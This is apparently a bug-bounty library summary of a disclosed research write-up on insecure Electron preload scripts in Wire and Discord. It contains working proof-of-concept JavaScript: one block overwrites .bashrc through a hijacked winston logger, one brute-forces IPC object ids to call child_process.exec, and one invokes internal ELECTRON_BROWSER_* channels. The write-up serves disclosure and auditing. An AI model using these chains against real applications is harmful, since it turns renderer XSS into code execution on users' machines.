# Subverting Electron Apps via Insecure Preload

Insecure Electron preload scripts in Wire and Discord leaked privileged Node/IPC primitives to renderer, letting XSS achieve arbitrary file write and arbitrary binary execution.

- Payout: Research
- Severity: high
- Program: Wire
- Write-up by: Doyensec
- Disclosed: 2019-04-02
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2019-04-03-subverting-electron-apps-via-insecure-preload-html
- Tags: area:os domain:desktop impact:integrity impact:rce kind:research platform:research sev:high tech:electron technique:chained technique:source-review vuln:misconfiguration vuln:rce

**Target:** Electron desktop app preload scripts (web-view-preload.js, mainScreenPreload.js)
**Root cause:** Preload scripts expose Node globals (winston logger) or IPC wrappers (DiscordNative.ipc) to the untrusted renderer; without separation from ELECTRON_ internal channels, arbitrary channel names reach privileged framework handlers.
**Steps:**
1. Wire: open webview devtools via `window.document.getElementsByTagName("webview")[0].openDevTools()`
2. Override `winston.transports.file` with a new transport constructed from `winston.transports.file.__proto__.constructor` setting `dirname`, `filename: '.bashrc'`, custom `formatter`
3. Call `winston.error('xcalc &')` to write attacker content to the file
4. Discord: `DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process")`
5. Brute-force object id: loop `DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{type:'value', value:'calc.exe'}])` for i in 0..50
**How found:** Numerous client assessments revealed preload scripts were a neglected attack surface; even apps following best practices (nodeIntegration off, isolation) leaked dangerous primitives, turning boring XSS into RCE in hours.
**Exploitation:** XSS in renderer reaches preload-exposed primitives: Wire's global winston logger is repointed to an attacker-controlled file transport, writing arbitrary content (e.g. .bashrc) for code execution; Discord's IPC wrapper sends arbitrary ELECTRON_BROWSER_* channels, requiring a brute-forced child_process reference id to invoke exec.
**Escalation:** Wire: chained with macOS sandbox bypass to write outside app folders; otherwise overwriting app files can still yield RCE. Discord: brute-forcing the object reference id to reach child_process.exec.
**Insight:** Audit preload scripts for globals exported to window (loggers, IPC wrappers); a logger transport can be swapped for a file-write primitive, and IPC wrappers accepting arbitrary channel names reach ELECTRON_BROWSER_* internal handlers where object ids can be brute-forced.

## Proof of concept (copied exactly from the original report)

**Wire arbitrary file write via winston transport override**

```
function formatme(args) {
 var logMessage = args.message;
 return logMessage;
}

winston.transports.file = (new winston.transports.file.__proto__.constructor({
 dirname: '/home/ikki/',
 level: 'error',
 filename: '.bashrc',
 json: false,
 formatter: formatme
}))

winston.error('xcalc &');
```

**Discord arbitrary IPC brute-force child_process exec**

```
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");

for(var i=0;i<50;i++){
 DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
 type: 'value',
 value: "calc.exe"
 }]);
}
```

**Electron internal IPC require/member call chain**

```
(function () {
 var ipcRenderer = require('electron').ipcRenderer
 var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE","electron");
 var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
 return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
 type: 'value',
 value: "file:///Applications/Calculator.app"
 }]);
})();
```

